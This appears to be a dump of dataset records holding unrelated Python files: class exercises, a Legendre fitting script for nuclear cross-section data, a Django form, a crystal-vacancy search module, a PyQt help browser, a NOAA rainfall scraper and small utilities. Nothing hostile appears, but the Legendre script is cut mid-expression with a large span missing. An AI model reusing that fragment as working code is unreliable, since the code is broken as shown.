choice = input(\">>> \").upper()\n\n\nmain()\n","sub_path":"Prac_06/guitars.py","file_name":"guitars.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"509993025","text":"#!/usr/bin/python3\n\"\"\"class Square\"\"\"\n\n\nclass Square:\n \"\"\"class square\"\"\"\n def __init__(self, size=0, position=(0, 0)):\n \"\"\"square initialization\"\"\"\n self.size = size\n self.position = position\n\n @property\n def size(self):\n \"\"\"returns current size of the square\"\"\"\n return (self.__size)\n\n @property\n def position(self):\n \"\"\"returns the value of position\"\"\"\n return (self.__position)\n\n @position.setter\n def position(self, value):\n \"\"\"set and validate position\"\"\"\n if (not isinstance(value, tuple) or\n len(value) != 2 or\n not all(isinstance(num, int) for num in value) or\n not all(num >= 0 for num in value)):\n raise TypeError(\"position must be a tuple of 2 positive integers\")\n else:\n self.__position = value\n\n @size.setter\n def size(self, value):\n \"\"\"set and validate size\"\"\"\n if type(value) is not int:\n raise TypeError(\"size must be an integer\")\n elif value < 0:\n raise ValueError(\"size must be >= 0\")\n else:\n self.__size = value\n\n def area(self):\n \"\"\"area of square\"\"\"\n return (self.__size * self.__size)\n\n def my_print(self):\n \"\"\"print square with # char to stdout\"\"\"\n if self.__size == 0:\n print(\"\")\n return\n [print(\"\") for x in range(0, self.__position[1])]\n for i in range(0, self.__size):\n [print(\" \", end=\"\") for i in range(0, self.__position[0])]\n [print(\"#\", end=\"\") for j in range(0, self.__size)]\n print(\"\")\n\n def __str__(self):\n \"\"\"print() presentation of a square\"\"\"\n if self.__size != 0:\n [print(\"\") for i in range(0, self.__position[1])]\n for i in range(0, self.__size):\n [print(\" \", end=\"\") for j in range(0, self.__position[0])]\n [print(\"#\", end=\"\") for k in range(0, self.__size)]\n if i != self.__size - 1:\n print(\"\")\n return (\"\")\n","sub_path":"0x06-python-classes/101-square.py","file_name":"101-square.py","file_ext":"py","file_size_in_byte":2072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"459740299","text":"import os\nimport openpyxl # conda install -c anaconda openpyxl\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport scipy.integrate as integrate\nfrom AtomicMassTable import GetElement\nfrom chi2 import chi2_det,chi2_mat\nfrom scipy.interpolate import LSQUnivariateSpline\nfrom scipy import special\nfrom scipy import interpolate\nfrom scipy import constants\nfrom scipy import integrate\nimport pdb\n\nfrom matplotlib import rcParams\nrcParams.update({'figure.autolayout': True})\n\nplt.rcParams['xtick.labelsize']=12\nplt.rcParams['ytick.labelsize']=12\n\n# Use to switch directory paths to use (for the main or TESTING)\nimport os\ncurrentDir = os.path.realpath('')\nparentDir = os.path.realpath('..')\n\n\n\n\"\"\"\nALWAYS SET THIS PATH TO THE ONE YOU WANT TO USE!\n\"\"\"\ndesiredDir = currentDir\n\n\n\"\"\"\nALWAYS SET THIS PATH TO THE ONE YOU WANT TO USE!\n\"\"\"\ndesiredDir = currentDir\n\n\"\"\"\nReads in the cross-section data produced by 'crossSectionExp.py' file and\nperforms a fit using even terms in the legendre polynomial on the angular\ndistributions.\n\nThe 'plot_a' variable enables/disables the plots demonstrating the different\norder legendre polynomial fits 'a' analytic fit\n\n\"\"\"\n\n\n# GetElement returns (index,Z,A,Mass,'element')\n_m1H = GetElement(1,1)[3]\n_m4He = GetElement(2,4)[3]\n_m24Mg = GetElement(12,24)[3]\n_m27Al = GetElement(13,27)[3]\n_barnsTocm2 = 1E-24 # cm2\n_c = 2.99792458E10 # cm / s\n_u = 931.494/_c**2 # MeV / c^2\n_NA = 6.02214E23 # particles / mol\n\n\nrxnRateCONST = _barnsTocm2 * _NA * (8/(np.pi*_u))**.5 * (8.617E-2)**-1.5\n\n\ndef convert(old):\n \"\"\"\n Convert the 'old' legendre coefficient outputs (only the even terms) into a\n version which can then be used by the 'np.polynomial.legendre.legval()'\n function (Both even and odd, so pad the odd terms with 0's)\n \"\"\"\n\n # loop through the set of coefficients appending 0's\n new = []\n for _ in old:\n new.append(_)\n new.append(0)\n\n # Pop the last 0 that is unnecessary\n new.pop()\n\n return np.array(new)\n\n\n# Read in the data into dataframe\ncolNames = ['Energy','Angle','Cross-section','Error']\no17_ng = pd.read_table('rMatrix/24Mg_rMatrix_o17_ng.dat',names=colNames)\n\n\ndict_channels = {'o17_ng':o17_ng}\n\n# If plot is 0 then no plotting, any other value it will generate the plots\n# 'a' for analytic solution plots\nplot_a = 0\n\n\n# Perform the analysis over all the channels\nchannels = ['o17_ng']\n\nfor ch in channels:\n\n print(ch,' channel:\\n-Working on Legendre fitting')\n angle = np.array([0,15,30,45,60,75,90])\n\n chan = dict_channels[ch]\n\n # is in Lab energy, convert to center-of-mass\n energyCM_chan = chan['Energy'].to_numpy()#LAB *(_m24Mg/(_m24Mg+_m4He)) # Now its in E_cm\n chan = chan.assign(E_CM=pd.Series(energyCM_chan,index=chan.index).to_numpy())\n\n\n # Mask low stats fits\n maskk = ( (chan['Cross-section']>1e-13) & (chan['Error'] ord_step: continue\n a = [ (_[ind],) for _ in dict_ord_a[str(legendre_order[ord_step][-1])]] # analytic solution\n plt.scatter(energyList,a,s=8)\n plt.title('%s channel - Legendre Polynomial a$_{%s}$ coefficients for an up to a$_{%s}$ fit' % (ch,legendre_order[ind][-1],legendre_order[ord_step][-1]))\n plt.savefig('legendre_out/coef_curve/%s/a%d/a%dFit.png'%(ch,legendre_order[ind][-1],legendre_order[ord_step][-1]),dpi=100)\n ord_step += 1\n\n plt.clf()\n\n x2 = dict_ord_x2_a[str(legendre_order[ind][-1])]\n x2ndf = dict_ord_x2ndf_a[str(legendre_order[ind][-1])]\n # print(str(legendre_order[ind][-1]))\n # plt.scatter(energyList,x2ndf,s=8)\n # plt.title('%s channel - $\\chi^{2}$ for an up to a$_{%s}$ fit' % (ch,legendre_order[ind][-1]))\n # plt.savefig('legendre_out/chi2/%s/a%d/chi2.png'%(ch,legendre_order[ind][-1]),dpi=100)\n\n\n plt.clf()\n\n # \"\"\"\n # Now organize into pandas dataframe and write it as both 'csv' and 'xlsx' format\n print('-Writing coefficients into .csv and .xlsx files')\n colLabels = ['a0','a2','a4','a6','a8','a10']\n colLabelss = ['a0_err','a2_err','a4_err','a6_err','a8_err','a10_err']\n for _ in range(0,leg_ord+1):\n stuff = dict_ord_a[str(legendre_order[_][-1])]\n stuff2 = dict_ord_err_a[str(legendre_order[_][-1])]\n df = pd.DataFrame(data=stuff,index=energyList,columns=colLabels[0:_+1])\n df1 = pd.DataFrame(data=stuff2,index=energyList,columns=colLabelss[0:_+1])\n df = pd.concat([df, df1], axis=1, sort=False)\n df = df.assign(Chi2=pd.Series(dict_ord_x2_a[str(legendre_order[_][-1])],index=df.index).to_numpy())\n df = df.assign(Pval=pd.Series(dict_ord_pVal_a[str(legendre_order[_][-1])],index=df.index).to_numpy())\n df = df.assign(Chi2NDF=pd.Series(dict_ord_x2ndf_a[str(legendre_order[_][-1])],index=df.index).to_numpy())\n df.to_csv('legendre_out/DATA/%s/a%d/%s_a%dFit.csv'%(ch,legendre_order[_][-1],ch,legendre_order[_][-1]))\n df.to_excel('legendre_out/DATA/%s/a%d/%s_a%dFit.xlsx'%(ch,legendre_order[_][-1],ch,legendre_order[_][-1]))\n # \"\"\"\n\n # Now I have all the 'a_i' coefficients for all the many order fits, need\n # to select/filter the necessary 'a0' terms from the fits. This will be\n # done through the p-value.\n # Read in all my a0s and p-values and compare each energies fit side by side\n # starting from lowest order to highest, select order which pvalue is maximal,\n # append the a0 term + continue and repeat for the next energy step\n # (NOT USED ANYMORE)\n\n a0_final = []\n a0_err_final = []\n p_final = []\n x2_final = []\n order = []\n\n # Only keep the a0s from the 4th order legendre polynomial fit\n for ind in range(len(ord_00)):\n a0_final.append(dict_ord_a[str(legendre_order[2][-1])][ind][0])\n a0_err_final.append(dict_ord_err_a[str(legendre_order[2][-1])][ind][0])\n p_final.append(dict_ord_pVal_a[str(legendre_order[2][-1])][ind])\n order.append(str(legendre_order[2][-1]))\n\n\n # Save the points\n df = pd.DataFrame(data=a0_final,index=energyList)\n df = df.assign(a0err=pd.Series(a0_err_final,index=df.index).to_numpy())\n df = df.assign(Pval=pd.Series(p_final,index=df.index).to_numpy())\n df = df.assign(Order=pd.Series(order,index=df.index).to_numpy())\n df.to_excel('legendre_out/DATA/%s/%sFits.xlsx'%(ch,ch))\n\n # Save angle integrated cross section for rMatrix\n with open('rMatrix/24Mg_rMatrix_%s_angInt.dat'%ch,'w') as f:\n print(len(a0_final),len(a0_err_final),len(energyList))\n\n cross = np.array(a0_final)*4*np.pi\n cross_err = np.array(a0_err_final)*4*np.pi\n print(len(a0_final),len(a0_err_final),len(energyList))\n # exit()\n for loop in range(len(energyList)):\n if cross[loop] > 0 and cross_err[loop] > 0 and cross_err[loop] < cross[loop]:\n printOut= '%f \\t %d \\t %.8E \\t %.8E \\n' %(energyList[loop],0,cross[loop],cross_err[loop])\n f.write(printOut)\n else:\n print('Problem at Ep:',energyList[loop])\n\n\n # Now spline the 'a0' coefficients and plot as function of energy and overlay\n # the original 'a0' coefficents and make sure the splining is done well.\n\n solidAngle = 4*np.pi\n a0_final = np.array(a0_final) * solidAngle\n a0_err_final = np.array(a0_err_final) * solidAngle\n\n\n # Sort by energy, keeping others consistent!\n ind = energyList.argsort()\n energyList = energyList[ind]\n a0_final = a0_final[ind]\n a0_err_final = a0_err_final[ind]\n\n mask_ = ((a0_final>a0_err_final))\n energyList = energyList[mask_]\n a0_final = a0_final[mask_]\n a0_err_final = a0_err_final[mask_]\n\n plt.errorbar(energyList,a0_final,yerr=a0_err_final,c='k',fmt='.')\n plt.plot(energyList,a0_final,c='b')\n plt.ylabel('Yield (arb. units)')\n plt.xlabel('Lab Energy (MeV)')\n plt.title('Yield Curve')\n plt.savefig('O17_ng_YieldCurve.png')\n # plt.show()\n\n\n\n with open('O17_ng_angIt_YieldCurve.dat','w') as f:\n for loop in range(len(energyList)):\n printOut= '%f \\t %d \\t %.8E \\t %.8E \\n' %(energyList[loop],0,a0_final[loop],a0_err_final[loop])\n f.write(printOut)\n","sub_path":"legendreO17_ng.py","file_name":"legendreO17_ng.py","file_ext":"py","file_size_in_byte":13247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"89303682","text":"from django import forms\nfrom .models import Document\n\nclass DocumentForm(forms.ModelForm):\n class Meta:\n model = Document\n fields = ('videoFile', 'subtitleFile', 'summarizeType', 'summarizationTime', 'bonusWordsFile', 'stigmaWordsFile' )\n\n def __init__(self, *args, **kwargs):\n \tsuper(DocumentForm, self).__init__(*args, **kwargs)\n \tself.fields['bonusWordsFile'].required = False\n \tself.fields['stigmaWordsFile'].required = False","sub_path":"main/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"478971818","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n空孔探索用モジュール\n\"\"\"\nfrom __future__ import division\nimport os\nimport errno\nimport copy\nimport numpy as np\nfrom itertools import product\nimport pyhull\nfrom commopy import Bash\n\nclass Vacancy(object):\n \"\"\" 空孔サイトを取り扱う \"\"\"\n def __init__(self):\n pass\n\n\nclass Poscar(object):\n \"\"\" POSCAR を取り扱う \"\"\"\n def __init__(self, lines):\n self.psc_lines = lines\n\n @classmethod\n def from_file(cls, src):\n \"\"\" POSCAR から Poscar obj を作成する \"\"\"\n with open(src, 'r') as rfile:\n lines = rfile.readlines()\n return cls(lines)\n\n def make_poscar_range(self, sites, s_sites, dst):\n \"\"\" ranges を色分けした POSCAR を出力する \"\"\"\n new_lines = \"\".join(self.psc_lines[:5])\n new_lines += 'Fe Al\\n'\n r_sites = [x for x in sites if x not in s_sites]\n new_lines += '{0} {1}\\n'.format(str(len(r_sites)), str(len(s_sites)))\n new_lines += self.psc_lines[7]\n new_lines += \"\\n\".join([\" \".join([str(x) for x in y]) for y in r_sites])\n new_lines += '\\n'\n new_lines += \"\\n\".join([\" \".join([str(x) for x in y]) for y in s_sites])\n with open(dst, 'w') as wfile:\n wfile.write(new_lines)\n\n def make_poscar_whole(self, sites, vacs, dst):\n \"\"\" 空孔サイトを追加した全サイトの POSCAR を作成する \"\"\"\n csites = copy.deepcopy(sites)\n for vac in vacs:\n print(vac)\n csites.append(list(vac))\n lines = ''.join(self.psc_lines[:5])\n lines += 'Fe B\\n'\n lines += '{0} {1}\\n'.format(str(len(csites)-len(vacs)), str(len(vacs)))\n lines += lines[7]\n lines += \"\\n\".join([\" \".join([str(x) for x in y]) for y in csites])\n with open(dst, 'w') as wfile:\n wfile.write(lines)\n\n def make_poscar_poly(self, sites, vacs, radii, scale=1):\n \"\"\" 多面体の POSCAR を作成する \"\"\"\n l_result = 'idx\\tsize\\tfacets\\n'\n hist = []\n Bash.mkdir('OUTPUTS')\n for i, vac in enumerate(vacs):\n o_sites, radiis = VacSearcher.get_arround_sites(sites, vac[0], radii)\n delta = o_sites - vac[0][0]\n delta[delta > 0.5] = 1 - delta[delta > 0.5]\n delta[delta < -0.5] = 1 + delta[delta < -0.5]\n if not vac[1]:\n vac[1] = radiis.min()**(1/2)*scale\n num = VacSearcher.count_surface(delta)\n new_lines = \"\".join(self.psc_lines[:5])\n new_lines += 'Fe B\\n'\n new_lines += '{0} 1\\n'.format(str(len(o_sites)))\n new_lines += self.psc_lines[7]\n new_lines += \"\\n\".join([\" \".join([str(x) for x in y]) for y in o_sites])\n new_lines += '\\n' + ' '.join([str(x) for x in vac[0]]) + '\\n'\n fname = 'OUTPUTS/POSCAR_poly_' + str(i)\n with open(fname, 'w') as wfile:\n wfile.write(new_lines)\n l_result += '{0}\\t{1}\\t{2}\\n'.format(str(i), str(vac[1]), str(num))\n hist.append(vac[1])\n with open('OUTPUTS/summary.txt', 'w') as wfile:\n wfile.write(l_result)\n\n # sns.distplot(hist, kde=False, rug=False, bins=10)\n # pylab.show()\n\n def make_poscar_vasp(self, sites, vacs, radii1, radii2):\n \"\"\" VASP 計算用の POSCAR 作成 (radii1 < raddi2) \"\"\"\n Bash.mkdir('OUTPUTS')\n for i, vac in enumerate(vacs):\n o_sites1 = VacSearcher.get_arround_sites(sites, vac[0], radii1)[0]\n o_sites2 = VacSearcher.get_arround_sites(sites, vac[0], radii2)[0]\n o_sites3 = [x for x in o_sites2 if not (x == o_sites1).prod(-1).sum()]\n # num = count_surface(o_sites)\n new_lines = \"\".join(self.psc_lines[:5])\n new_lines += 'Fe Fe B\\n'\n new_lines += '{0} {1} 1\\n'.format(str(len(o_sites1)), str(len(o_sites3)))\n new_lines += 'Selective dynamics\\n'\n if self.psc_lines[7].split()[0][0] == 'S':\n new_lines += self.psc_lines[8]\n else:\n new_lines += self.psc_lines[7]\n new_lines += ' T T T\\n'.join([\" \".join([str(x) for x in y])\n for y in o_sites1]) + ' T T T\\n'\n new_lines += ' F F F\\n'.join([\" \".join([str(x) for x in y])\n for y in o_sites3])\n if o_sites3:\n new_lines += ' F F F\\n'\n new_lines += ' '.join([str(x) for x in vac[0]]) + ' T T T\\n'\n fname = 'OUTPUTS/POSCAR_vasp_' + str(i)\n with open(fname, 'w') as wfile:\n wfile.write(new_lines)\n\n\nclass Coordinates(object):\n \"\"\" 原子座標を取り扱う \"\"\"\n def __init__(self, sites, ranges):\n self.sites = sites\n if not ranges:\n self.sites_partial = self.sites\n return\n r = 2.5\n tmp = [\n x for x in sites if x[0] > ranges[0][0]-r if x[0] < ranges[0][1]+r]\n tmp = [\n x for x in tmp if x[1] > ranges[1][0]-r if x[1] < ranges[1][1]+r]\n self.sites_partial = [\n x for x in tmp if x[2] > ranges[2][0]-r if x[2] < ranges[2][1]+r]\n\n @classmethod\n def from_psc(cls, src, ranges):\n \"\"\" POSCAR から obj 生成\"\"\"\n with open(src, 'r') as rfile:\n lines = rfile.readlines()\n num = sum([int(x) for x in lines[6].split()])\n j = 0\n if lines[7].split()[0][0] == 'S':\n j = 1\n sites = [[float(x) for x in lines[i].split()[0:3]]\n for i in range(8+j, 8+num+j)]\n return cls(sites, ranges)\n\n def __str__(self):\n lines = ''\n np_s = np.array(self.sites)\n np_s_p = np.array(self.sites_partial)\n lines += 'sites\\n'\n lines += 'xrange {0} {1}\\n'.format(np_s[:, 0].min(), np_s[:, 0].max())\n lines += 'yrange {0} {1}\\n'.format(np_s[:, 1].min(), np_s[:, 1].max())\n lines += 'zrange {0} {1}\\n'.format(np_s[:, 2].min(), np_s[:, 2].max())\n lines += '\\nsites_partial\\n'\n lines += 'xrange {0} {1}\\n'.format(\n np_s_p[:, 0].min(), np_s_p[:, 0].max())\n lines += 'yrange {0} {1}\\n'.format(\n np_s_p[:, 1].min(), np_s_p[:, 1].max())\n lines += 'zrange {0} {1}\\n'.format(\n np_s_p[:, 2].min(), np_s_p[:, 2].max())\n return lines\n\n\nclass VacSearcher(object):\n \"\"\" 空孔をサイトを探索 \"\"\"\n def __init__(self, ranges, delta=0.2):\n dx = ranges[0][1] - ranges[0][0]\n list_x = [ranges[0][0] + delta*x for x in range(int(dx//delta)+1)]\n dy = ranges[1][1] - ranges[1][0]\n list_y = [ranges[1][0] + delta*y for y in range(int(dy//delta)+1)]\n dz = ranges[2][1] - ranges[2][0]\n list_z = [ranges[2][0] + delta*z for z in range(int(dz//delta)+1)]\n self.prod_ranges = np.array(list(product(list_x, list_y, list_z)))\n\n def get_distances(self, sites):\n \"\"\" prod_ranges に対する全サイトの距離を計算する \"\"\"\n return np.array(sites).reshape(-1, 1, 3) - self.prod_ranges.reshape(1, -1, 3)\n\n def search_vac(self, sites):\n \"\"\"\n 最も空孔サイズが大きいものを一つ retun する\n vac: (座標, 最隣接原子までの距離)\n \"\"\"\n diff = np.array(sites).reshape(-1, 1, 3) - self.prod_ranges.reshape(1, -1, 3)\n dist_min = (diff ** 2).sum(-1).min(0)\n vac = self.prod_ranges[dist_min == dist_min.max()]\n return vac, dist_min.max()**(1/2)\n\n def get_vacs(self, sites, num):\n \"\"\" 空孔サイズが大きいものから順に num 個抽出する \"\"\"\n out = []\n csites = copy.deepcopy(sites)\n for _ in range(num):\n vac = self.search_vac(csites)\n csites.append(list(vac[0][0]))\n out.append(vac)\n return out\n\n @staticmethod\n def get_arround_sites(sites, vac, radii):\n \"\"\"\n radii 内の site を return する\n 周期境界条件を適応するので注意\n ToDo: 最小の convex hull\n \"\"\"\n diff = np.array(sites) - vac.reshape(1, 3)\n diff[diff > 0.5] = 1 - diff[diff > 0.5]\n diff[diff < -0.5] = 1 + diff[diff < -0.5]\n dist = (diff ** 2).sum(-1)\n return np.array(sites)[dist < radii**2], dist[dist < radii**2]\n\n @staticmethod\n def count_surface(sites):\n \"\"\" 多面体を構成する面の数を return する \"\"\"\n out = pyhull.qconvex('s i', sites)\n # voro = pyhull.qvoronoi('s o', sites)\n return len(out) - 1\n\n def _opt_position(self, sites, vac, rmax, accuracy):\n \"\"\"\n accuracy の精度で vac の位置を最適化する\n \"\"\"\n a_sites = self.get_arround_sites(sites, vac, 3)[0]\n\n delta = [accuracy*i -rmax for i in range(int(rmax//accuracy)*2+1)]\n prod = np.array(list(product(delta, delta, delta))) + vac\n\n diff = a_sites.reshape(-1, 1, 3) - prod.reshape(1, -1, 3)\n dist_min = (diff ** 2).sum(-1).min(0)\n\n new_vac = prod[dist_min == dist_min.max()]\n return new_vac, dist_min.max()**(1/2)\n\n def opt_position(self, sites, vacs):\n \"\"\" accuracy = 0.000002 の精度まで最適化する \"\"\"\n out = []\n for vac in vacs:\n new_vac = self._opt_position(sites, vac[0], 0.2, 0.02)\n new_vac = self._opt_position(sites, new_vac[0], 0.02, 0.002)\n new_vac = self._opt_position(sites, new_vac[0], 0.002, 0.0002)\n new_vac = self._opt_position(sites, new_vac[0], 0.0002, 0.00002)\n new_vac = self._opt_position(sites, new_vac[0], 0.00002, 0.000002)\n out.append(new_vac)\n return out\n\n","sub_path":"module/vacancy.py","file_name":"vacancy.py","file_ext":"py","file_size_in_byte":9732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"309095569","text":"from lazyscripts import info\n\ndef test_distro():\n \"test to get the information about current distrobution.\"\n _info= info.get_distro() \n if _info[0] not in ('Debian',\n 'Ubuntu',\n 'SUSE LINUX',\n 'openSUSE'):\n assert 1==0,\"the distrobution name\\\n is no supported by us yet.\"\n","sub_path":"t/test_detect.py","file_name":"test_detect.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"477295651","text":"#!/usr/bin/python2\n# -*- coding: utf-8 -*-\n\nimport argparse, sys, subprocess\n\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWebKit import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtWebKitWidgets import QWebView\n\nfrom os.path import expanduser\n\nAPP_ICON_PATH='/usr/share/digabi-koe-ohje/help-browser.svg'\nLOCAL_STORAGE_PATH=\"%s/.cache/digabi-koe\" % expanduser(\"~\")\n\nclass SharedClass (QObject):\n @pyqtSlot(str)\n def copy_html_to_clipboard(self, value):\n xclip = subprocess.Popen(\"xclip -selection clipboard -target text/html -i\".split(\" \"), stdin=subprocess.PIPE, shell=False)\n xclip.communicate(value.encode(\"utf-8\"))\n xclip.wait()\n\n @pyqtSlot(str)\n def copy_text_to_clipboard(self, value):\n clipboard = QApplication.clipboard()\n clipboard.setText(value)\n\n @pyqtSlot(str)\n def write_to_stdout(self, value):\n print(\"[digabi-koe-browser] %s\" % (value))\n sys.stdout.flush()\n\nclass Window (QWidget):\n def __init__(self):\n super(Window, self).__init__()\n self.view = QWebView(self)\n layout = QVBoxLayout(self)\n layout.setContentsMargins(0,0,0,0)\n layout.addWidget(self.view)\n\n self.sharedclass = SharedClass(self)\n self.frame = self.view.page().mainFrame()\n self.frame.javaScriptWindowObjectCleared.connect(self.add_shared_object)\n\n def load_url (self, url):\n self.view.load(QUrl(url))\n\n def add_shared_object(self):\n self.frame.addToJavaScriptWindowObject(\"sharedclass\", self.sharedclass)\n\nsc = SharedClass()\n\ndef appExiting ():\n sc.write_to_stdout(\"exiting\")\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('-W', '--width', dest='width', type=int, default=500, help='Browser window width')\n parser.add_argument('-H', '--height', dest='height', type=int, default=300, help='Browser window height')\n parser.add_argument('-x', '--positionx', dest='posx', type=int, default=1, help='Window position (X)')\n parser.add_argument('-y', '--positiony', dest='posy', type=int, default=1, help='Window position (Y)')\n parser.add_argument('-t', '--title', dest='title', type=str, default=\"Help\", help='Window title')\n parser.add_argument('url', type=str, help='URL of the help file')\n parser.add_argument('-s', '--localstorage', dest='localstorage', type=bool, default=False, help='Write local storage to disk')\n parser.add_argument('-dev', '--devmode', dest='devmode', type=bool, default=False, help='Developer mode toggle')\n\n args = parser.parse_args()\n\n sc.write_to_stdout(\"starting\")\n\n app = QApplication(sys.argv)\n app.aboutToQuit.connect(appExiting)\n window = Window()\n\n window.resize(args.width, args.height)\n window.move(args.posx, args.posy)\n window.setWindowTitle(args.title)\n window.setWindowIcon(QIcon(APP_ICON_PATH))\n\n # Dev-environment debug variables\n if args.devmode:\n inspector = QWebInspector()\n window.view.page().settings().setAttribute(QWebSettings.DeveloperExtrasEnabled, True)\n inspector.setPage(window.view.page())\n inspector.showMaximized()\n\n # Enable LocalStorage\n if args.localstorage:\n window.view.page().settings().setLocalStoragePath(LOCAL_STORAGE_PATH)\n window.view.page().settings().setAttribute(QWebSettings.LocalStorageEnabled, True)\n\n window.load_url(args.url)\n window.show()\n app.exec_()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"digabi-koe-browser.py","file_name":"digabi-koe-browser.py","file_ext":"py","file_size_in_byte":3457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"352644045","text":"from json import loads\nimport os\n\nfilepath = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"links.json\")\n\nwith open(filepath) as f:\n text = loads(f.read())\n\njsOptions = text['js']\ncssOptions = text['css']\n\ndef getOption(opt):\n for lang, langName in ((jsOptions, \"js\"), (cssOptions, \"css\")):\n if opt in lang.keys():\n return lang[opt], langName\n\n print(\"WARNING: could not find option matching\", opt)\n return None, None","sub_path":"links.py","file_name":"links.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"41153478","text":"import requests\nimport os\nimport sys\nfrom bs4 import BeautifulSoup\nfrom cprint import cprint\n\ndef _add_unique_postfix(fn):\n # __author__ = 'Denis Barmenkov '\n # __source__ = 'http://code.activestate.com/recipes/577200-make-unique-file-name/'\n if not os.path.exists(fn):\n return fn\n\n path, name = os.path.split(fn)\n name, ext = os.path.splitext(name)\n\n make_fn = lambda i: os.path.join(path, '%s(%d)%s' % (name, i, ext))\n\n for i in range(2, sys.maxsize):\n uni_fn = make_fn(i)\n if not os.path.exists(uni_fn):\n return uni_fn\n\n return None\n\ndef fetch_year(yy):\n prefix = f'monthly_precip_{yy}'\n output_dir = 'output'\n html = requests.get('https://www.cnrfc.noaa.gov/monthly_precip_2020.php', timeout=3)\n html = html.text\n soup = BeautifulSoup(html, 'lxml')\n tables = soup.find_all('table', class_='normal')\n print('Hey' + \": \" +str(len(tables)) + \" tables\")\n seqno = 1\n for t in tables:\n subdir = \"output\"\n try:\n os.mkdir(subdir)\n # if verbose:\n # cprint(\"created directory \" + subdir, c='c')\n except FileExistsError:\n pass\n filename = subdir + '/' + prefix + '_' + str(seqno) + \".csv\"\n out = open(_add_unique_postfix(filename), \"w\")\n cprint(f'created file {filename}', c='c')\n rows = t.find_all('tr')\n for r in rows:\n # break when we see class=\"sortbottom\" in a tag\n if r.has_attr('class') and 'sortbottom' in r['class']:\n break\n headers = r.find_all(['th'])\n thtd = r.find_all(['th','td'])\n txt = str([i.text.rstrip() for i in thtd])\n txt = txt.lstrip('[').rstrip(']')\n print(f'{yy}, {txt}', file = out)\n seqno += 1\n\nfor yy in range(2002,2021):\n fetch_year(yy)","sub_path":"resources/assets/notebooks/11-data-prep-1/files/lec11_data/rainfallscrape/simple_scrape.py","file_name":"simple_scrape.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"101042361","text":"\n\n#calss header\nclass _SATRAP():\n\tdef __init__(self,): \n\t\tself.name = \"SATRAP\"\n\t\tself.definitions = [u'(in the past) someone who governed a province (= political area) in ancient Persia ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_satrap.py","file_name":"_satrap.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"351313193","text":"def validBraces(string):\n # add all opening braces to the stack\n # if closing parentheses detected compare it with peek element if its same kind with\n # peek element then pop else return false\n # if stack is empty return true\n brace_dict = {\n \"}\": \"{\",\n \"]\": \"[\",\n \")\": \"(\" \n }\n brace_stack = []\n for brace in string:\n if brace in list(brace_dict.values()):\n brace_stack.append(brace)\n if brace in list(brace_dict.keys()):\n if brace_stack and brace_stack[-1] == brace_dict[brace]:\n brace_stack.pop()\n else:\n return False\n \n return not brace_stack","sub_path":"ValidBraces.py","file_name":"ValidBraces.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"414739285","text":"# coding: utf-8\nfrom appsaler import appsalerInformation\nimport time\nfrom pymssqlManage import excelManager\n# saler,dealer,sr,express,htv,pc = excelManager.banbeninfo(\"retail\",r\"E:\\banben\\banben.xlsx\")\nsaler,dealer,sr,express,htv,pc = excelManager.banbeninfo(\"uat\",r\"D:\\excel\\banben.xls\")\n\n#预订单\nif __name__ == '__main__':\n bb = appsalerInformation(\"172.18.200.192:7912\")\n bb.salerEnterstorehouse()\n bb.salerAddshopping_1()\n bb.salerEntershopping_Cart()\n tv_state = bb.salerEnterAdveeorder()#购物车总价\n print (tv_state)\n sum_money_textview, actual_payment_textview = bb.salerAdverorder(\"11\",u\"胜利大街发了圣诞节\")#邀请码和备注#预订单的总价和应付额\n print (sum_money_textview)\n print (actual_payment_textview)\n tv_order_money = bb.salerEnterOrder()#\n bb.salerLog_banben(dealer[6],dealer[22])\n","sub_path":"internal_doc/wangbin/PycharmProjects/untitled/app/appsalerAdvanceorder.py","file_name":"appsalerAdvanceorder.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"590851219","text":"__author__ = 'yuriic'\n\"\"\"\nGiven a start position and an target position on the grid. You can move up,down,left,right from one node to another adjacent one on the grid. However there are some walls on the grid that you cannot pass. Now find the shortest path from the start to the target.\n(This is easy done by BFS)\nExtend. If you can remove three walls, then what is the shortest path from start to the target. (I have no ideal except for enumerate all the possibility of three walls. It must be the silly solution.) Does anyone have any idea?\n\"\"\"\n\"\"\"\nI'm not going to code it.\n\n\n1. Build simple fastest path.\n2. For each step keep the number of steps required to reach that path\n3. Repeat\n Build new path by eliminating one wall\n go throught pass\n if any cell has wall - check if it is possible to reach another cell in path if we eliminate this wall\n pick the one we highes 